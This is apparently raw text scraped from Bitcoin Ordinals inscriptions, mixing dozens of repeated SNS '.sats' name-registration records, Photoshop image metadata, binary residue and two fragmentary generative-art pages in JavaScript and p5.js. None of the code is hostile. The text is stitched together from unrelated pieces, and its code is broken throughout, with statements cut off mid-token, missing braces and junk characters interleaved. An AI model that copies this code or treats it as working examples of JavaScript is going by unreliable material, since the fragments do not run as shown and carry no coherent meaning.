<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:exif="http://ns.adobe.com/exif/1.0/"> <exif:PixelYDimension>636</exif:PixelYDimension> <exif:PixelXDimension>630</exif:PixelXDimension> <exif:UserComment>Screenshot</exif:UserComment> </rdf:Description> text/plain;charset=utf-8 Bored Ape Yacht Clubh! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0131.sats"}h! d/Foundry USA Pool #dropgold/ text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9702.sats"}h! FjDOUT:47E6B6332833C91256B58856CF864D84A9F66EFBCF7D0840442E771A59E3D486 text/plain;charset=utf-8 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"87615.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"2727.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"1000sats.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"10sats.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"bgyl.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"2575.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"100sats.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"nsats.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"asoul.sats"}h! text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"C.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10088.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"10000sats.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"86711.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"kobe.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"imtoken.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7755.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5577.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"2775.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"manysats.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7722.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10002.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"kksk.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"4soul.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10001.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"steam.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"Ballin.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0089.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"wangfei.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"xiongyong.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"liutao.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"liuyuran.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"liubo.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"liuyilin.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"111.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"777.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"444.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"222.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"888.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"999.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"333.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"555.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"666.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"666.sats"}h! text/plain;charset=utf-8 (((((((((((((((((((((((((((((((((((((((((((((((((((((h text/plain;charset=utf-8 "name": "vito.sats" text/plain;charset=utf-8 iTXtXML:com.adobe.xmp " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.b0f8be90, 2021/12/15-21:25:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xapM /1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.2 (Macintosh)" xmp:CreateDate="2023-02-16T14:40:25-08:00" xmp:ModifyDate="2023-02-16T17:49:30-08:00" xmp:MetadataDate="2023-02-16T17:49:30-08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:a62c8104-9900-47fc-992a-0351b8c30fed" xmpMM:DocumentID="adobe:docid:photoshop:43f5876a-162a-7541-b71a-b78b12ca80f9" xmpMM:OriginalDocumentID="xmp.did:d1ea0793-0436-489c-8aa2-feee1c5e8442"> <xmpM MM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:d1ea0793-0436-489c-8aa2-feee1c5e8442" stEvt:when="2023-02-16T14:40:25-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:817d084e-4307-486a-ab74-713f9a628b7b" stEvt:when="2023-02-16T16:20:09-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:a62c8104-9900-47fc-992a-0351b8c30fed" stEvt:wM hen="2023-02-16T17:49:30-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>RU text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"fism.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"seti.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"lks.sats"}h! {"collection":"Web3m","artist":"Dima","link":"web3m.io"}Yo 2023-03-02T13:01:06+00:00 2L~023-03-02T13:01:06+00:00 dd583677d3534e47c9af1e8657c40a8af69763f13b0c72b6a8d530ac3a97ecfdh text/plain;charset=utf-8 "name": "0909.sats" text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"eunice.sats"}h! text/plain;charset=utf-8 6*&&*6>424>LDDL_Z_|| 6*&&*6>424>LDDL_Z_|| -http://ns.adobe.com/xap/1.0/ " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.dabacbb, 2021/04/14-00:39:44 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotoshoM p 23.0 (Windows)" xmpMM:InstanceID="xmp.iid:BD92BA4EB23E11ED88AFFA0552A83AF9" xmpMM:DocumentID="xmp.did:BD92BA4FB23E11ED88AFFA0552A83AF9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BD92BA4CB23E11ED88AFFA0552A83AF9" stRef:documentID="xmp.did:BD92BA4DB23E11ED88AFFA0552A83AF9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?> )A&&AB///BG?>>?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG ))4&4?((?G?5?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG text/plain;charset=utf-8 "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"w3tester.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUM VWXYZcdefghijstuvwxyz d/Foundry USA Pool #dropgold/ text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9728.sats"}h! text/html;charset=utf-8 <meta charset="UTF-8"> <title>Angular Decay</title> <script id="snippet-random-code" type="text/javascript"> let seed = window.location.href.split('/').find(t => t.includes('i0')); const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i <M seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); <style>body {margin: 0px;} </style>M <canvas id="target"></canvas> <script type="text/javascript"> const rand = mathRand(); const rand2 = mathRand(); let sqpix,cp,ratio=0.707,bug=false; if(rand<0.3){sqpix=0;zoom=false;return"Portrait";} if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";} if(rand<0.95){sqpix=1;return"Square";} sqpix=1;bug=1;return"Bugged";} if(rand<0.07){cp=12;return "Paper";} if(rand<0.14){cp=1;return "DPM";} if(rand<0.21){cp=2;return "Fecktarn";} if(rand<0.41){cp=4;return "Desert Drill";} if(rand<0.5){cp=5;return "Urban";} if(rand<0.6){cp=6;return "Navy";} if(rand<0.7){cp=7;return "German Winter";} if(rand<0.8){cp=8;return "Tree";} if(rand<0.85){cp=9;return "Orange";} if(rand<0.9){cp=10;return "Harris";} if(rand<0.95){cp=11;return "Market";} cp=0;return "Saint";} window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) } const container = document.createElement("div") container.innerHTML = "<span>seed: " + seed + "</spM let resizeTmr=null,aniFrame=null; let ofw,ofh,sz,rz=1; let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[]; var tricount=0,tr=30; var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[]; var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[]; const init = async () => { window.addEventListener('resize', async () => { clearTimeout(resizeTmr) resizeTmr = setTimeout(async () => { await layoutCanvas() await layoutCanvas() const layoutCanvas = async () => { const wWidth=window.innerWidth const wHeight=window.innerHeight let cHeight=wHeight; let cWidth=cHeight*ratio; if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;} const canvas=document.getElementById('target') canvas.width=2000*rz; canvas.height=(2000*rz)/ratio; canvas.style.position = 'absolute' canvas.style.width = `${cWidth}px` canvas.style.height = `${cHeight}px` canvas.style.left = `${(wWidth - cWidth) / 2}px` canvas.style.top = `${(wHeight - cHeight) / 2}pM const drawCanvas = async () => { if(!tried) setupart(); if (aniFrame) window.cancelAnimationFrame(aniFrame) const canvas=document.getElementById('target') const ctx=canvas.getContext('2d') {let bx=ofw/500,by=ofh/500; ctx.globalAlpha=0.05; for(let f=10;f<30; f++){ for(let i=0;i<500; i++){ drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff'); drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M if(gj>500) { drp=3; gj=0; } for(let f=0;f<tc;f++){ if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz); else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz); dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz); dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);} for(let f=0;f<rc;f++){ dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz); ,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz); dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);} ctx.fillStyle = artcols[0]; ctx.fillRect(0,0,ofw,ofh); mathRand = sfc32(...cyrb128(seed)); tc=0;rc=0;tricount=0;tr=30;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); tricount=1000;tr=rir(10,50);dor=true;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); aniFrame = window.requestAnimationM function triharder( x1,y1, x2,y2) if(tricount>2500) return; var x3=x1+rir(-tr,tr); var y3=y1+rir(-tr,tr); if(x3<0){x3+=tr;bmp++} if(x3>1000){x3-=tr;bmp++} if(y3<0){y3+=tr;bmp++} if(y3>1000/ratio){y3-=tr;bmp++} if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; } else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;} if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M triharder(x3,y3, x1,y1); if(ri(100)>20) triharder(x3,y3, x2,y2); const autoDownloadCanvas = async () => { const element = document.createElement('a') element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`) element.style.display = 'none' document.body.appendChild(element) let imageBlob = null imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png')) element.setAttribute('href', window.URL.createObjectURL(imageBlob, { document.body.removeChild(element) document.addEventListener('keypress', async (e) => { e = e || window.event if (e.key === 's') autoDownloadCanvas() if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() } function drawEllipse(ctx,x,y,rx,ry,fill) { ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI); if (fill) {ctx.fillStyle = fill;ctx.fill();} function dl(ctx,lx,ly,ex,ey,stroke,width) { if (stroke) {ctx.strokeStyle = stroke;} if (width) { ctx.linM ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke(); if(cp==12)artcols=['#EDECE0','#303030','#880808']; if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B']; if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41']; if(cp==1) artcols=['#25201E','#D3A252','#686C22']; if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026']; if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D']; if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A']; if(cp==5) artcols= ['#B8B8B3','#474747','M if(cp==6) artcols= ['#A6B2C7','#323642','#394A69']; if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD']; if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D']; if(cp==9) artcols= ['#EDECE0','#944645','#F25D34']; if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933']; function ri( x){ return Math.floor(mathRand()*x);} function rir(x,y){ let nr = (y - x) ; return Math.floor((mathRand()*nr) + x); } text/plain;charset=utf-8 "name": "99009.sats" text/html;charset=utf-8 <meta charset="UTF-8"> <title>A simple template for launching your art on Bitcoin</title> Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below. Are we missing an important library? Let us know @generative_xyz. <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <!-- c2.min.js@1.0.0 pt sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script> <!-- chromajs@2.4.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script> <!-- <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script>--> <!-- threejs@r124 <script sandbox="allow-scripts" typM e="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r124/three.min.js"></script> <!-- tonejs@14.8.49 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script> <!-- svgjs@3.1.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script> <!-- aframejs@1.2.0 <script sandbox="allow-scripts" type="text/jaM vascript" src="https://cdnjs.cloudflare.com/ajax/libs/aframe/1.2.0/aframe.min.js"></script> <!-- babylonjs@5.47.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script> <!-- paperjs@0.12.17 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.min.js"></script> <!-- regljs@2.1.0 <script sandbox="allow-scripts" tM ype="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/regl/2.1.0/regl.min.js"></script> <script type="text/javascript"> Add your script here Add your script here <script id="snippet-random-code" type="text/javascript"> let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substM ring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); urn _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | M 0) | 0) | 0, (l >>> 0) / 4294967296 // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation. // This function generates a random number between 0 and 1 with on-chain seed. let mathRand = sfc32(...cyrb128(seed)); html, body { margin: 0; padding: 0; max-width: 100%; max-height: 100%; margin: auto; overflow: auto; position: fixed; object-fit: contain; bottom: 0; left: 0; right: 0; <script type="text/javascript"> const rand = mathRand(); function T1(rand) { // calculate rarity by yourself if (rand > 0.5) { return true; // window.$generativeTraits contain list traits for token // you need to populate a $generativeTraits object in the window object window.$generativeTraits = { "T1": T1(rand), console.log(window.$generativeTraits) Add your code here nst container = document.createElement("div") // container.innerHTML = "<span>seed: " + seed + "</span><br>"; // document.body.prepend(container) //License: Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License. //Author: @devhontran //Twitter: https://twitter.com/DevHontran //Website: https://hontran.dev const scaler = 1; let paper, border; let shadown = {x: -5, y: 5}; let layers = []; let padding = 40; function cyrb128(str) { = 1779033703, h2 = 3144134277, h3 = 1013904242, h4 = 2773480762; for (let i = 0, k; i < str.length; i++) { k = str.charCodeAt(i); h1 = h2 ^ Math.imul(h1 ^ k, 597399067); h2 = h3 ^ Math.imul(h2 ^ k, 2869860233); h3 = h4 ^ Math.imul(h3 ^ k, 951274213); h4 = h1 ^ Math.imul(h4 ^ k, 2716044179); h1 = Math.imul(h3 ^ (h1 >>> 18), 597399067); h2 = Math.imul(h4 ^ (h2 >>> 22), 2869860233); h3 = Math.imul(h1 ^ (h3M >>> 17), 951274213); h4 = Math.imul(h2 ^ (h4 >>> 19), 2716044179); return [(h1^h2^h3^h4)>>>0, (h2^h1)>>>0, (h3^h1)>>>0, (h4^h1)>>>0]; function sfc32_c(a, b, c, d) { a >>>= 0; b >>>= 0; c >>>= 0; d >>>= 0; var t = (a + b) | 0; a = b ^ b >>> 9; b = c + (c << 3) | 0; c = (c << 21 | c >>> 11); d = d + 1 | 0; t = t + d | 0; c = c + t | 0; return (t >>> 0) / 4294967296; // return random value from [l -> r] function consistentRand (seed, l, r) { const rand = sfc32_c(...cyrb128(seed.toString())); return l + rand * (r - l) function getRandomItem (listP, seed) { const pref = [] for (const x of listP) pref.push(x) for (let i = 1; i < listP.length; i++) { pref[i] += pref[i - 1] for (let i = 0; i < pref.length; i++) pref[i] /= pref[pref.length - 1]; // get random value from 0->1 const rand = consistentRand(seed, 0, 1) r (let i = 0; i < pref.length; i++) { if (rand < pref[i]) return i; function createRadialGradient(x, y, r, x1, y1, r1) { const grd = drawingContext.createRadialGradient(x, y, r, x1, y1, r1); grd.addColorStop(0,"#FFFFFF"); grd.addColorStop(1,"#E5E5E3"); drawingContext.fillStyle = grd; drawingContext.fillRect(0, 0, width, height); function artNosie(){ const w = width * 1.2; const h = height * 1.2M paper = createGraphics(w, h); for(let i = 0 ; i< 100000; i++){ let x = random(w); let y = random(h); let dotSize = 10.0*(noise(x/(width / 4), y/(height / 4))*2 - noise(x/width, y/height)); paper.strokeWeight(random(0.25, 3)); paper.stroke(random(20, 80), random(1+dotSize, 4+dotSize)); paper.point(x, y); function generabox(col, pos, si){ const layer = createGraphics(width, height); ill(140, 178, 250, 56); layer.noStroke(); layer.rect(pos.x + shadown.x, pos.y + shadown.y, si.w, si.h); layer.filter(BLUR, 3); layer.fill(col.r, col.g, col.b, col.a); layer.noStroke(); layer.rect(pos.x, pos.y, si.w, si.h); layers.push(layer); function setup() { const hash = rand ? rand : Math.random(); const fCol = {r: 255, g: 255, b: 255}; const s = min(window.innerWidth, window.innerHeight) createCanvas(s,s);M for(let i=0; i<9; i++){ const tHash = `${hash}_${i}`; const cyrHash = cyrb128(tHash); const mixHash_color_r = consistentRand(cyrHash[0], 0, 1); const mixHash_color_g = consistentRand(cyrHash[1], 0, 255); const mixHash_color_b = consistentRand(cyrHash[2], 0, 255); const mixHash_color_a = 255;//consistentRand(cyrHash[3], 100, 255); const sw = consistentRand(cyrHash[0],50, width / 2); const sh = consistentRaM nd(cyrHash[3], 50, height / 2); const col = {r: mixHash_color_r, g: mixHash_color_g, b: mixHash_color_b, a: mixHash_color_a}; const si = {w: sw, h: sh}; const pos_x = consistentRand(cyrHash[1], padding, width- padding - si.w); const pos_y = consistentRand(cyrHash[2], padding, height- padding - si.h); const pos = {x: pos_x, y: pos_y} // console.log('___i', col, pos, si); generabox(col, pos, si); const borderSize = 30; border = createGraphics(width, height); border.fill(fCol.r, fCol.g, fCol.b, 255); border.noStroke(); border.rect(0, 0, borderSize, height); border.fill(fCol.r, fCol.g, fCol.b, 255); border.noStroke(); border.rect(width - borderSize, 0, borderSize, height); border.fill(fCol.r, fCol.g, fCol.b, 255); border.noStroke(); border.rect(0, 0, width, borderSize); border.fill(fCol.r, fCol.g, fCol.b, 255)M border.noStroke(); border.rect(0, height - borderSize, width, borderSize); function draw() { background('#ffffff'); blendMode(BLEND); for(let i=0; i<9; i++){ image(layers[i], 0, 0, width, height); blendMode(MULTIPLY) createRadialGradient(width / 2, height / 2, 0, width / 2, height / 2, height); blendMode(MULTIPLY); image(paper, 0, 0, width, height); image(border,M- 0, 0, width, height); function windowResized() { const s = min(window.innerWidth, window.innerHeight) resizeCanvas(s, s); Add your code here FjDOUT:D078C5817DBABDFF18C966F51BD217B322269F02F44AF8EC21A53B52885BFFDE FjDOUT:A6250E7A1ECAD273E8092B8680E51CFE32B0C1D10E9D63B1F77C18F9713CD5FF FjDOUT:7075BA909596D5102275E8FA70D779C92C611952F11B37CC943D1D40DED6CE25 FjDOUT:3C16EF1803CCC5F311CFCB139798CD7A4C43E5D45B8CB73C41BCD8C193FF7E01 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"111.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"777.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"555.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"333.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"999.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"222.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"666.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"444.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"888.sats"}h! text/plain;charset=utf-8 "name": "HashKey Group.sats" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"bc1q.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aza.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"zza.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"0z0.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"0a0.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aa0.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"9z9.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"zaz.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"az1.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"zz0.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"zz9.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"0zz.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"00z.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"99z.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"zz1.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"z99.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"1zz.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"9a9.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"00a.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"11z.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"z9z.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"9zz.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"azz.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"lxq.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"dsp.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"mhy.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"jpn.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"digg.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"ntr.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"ccav.sats"}h! text/plain;charset=utf-8 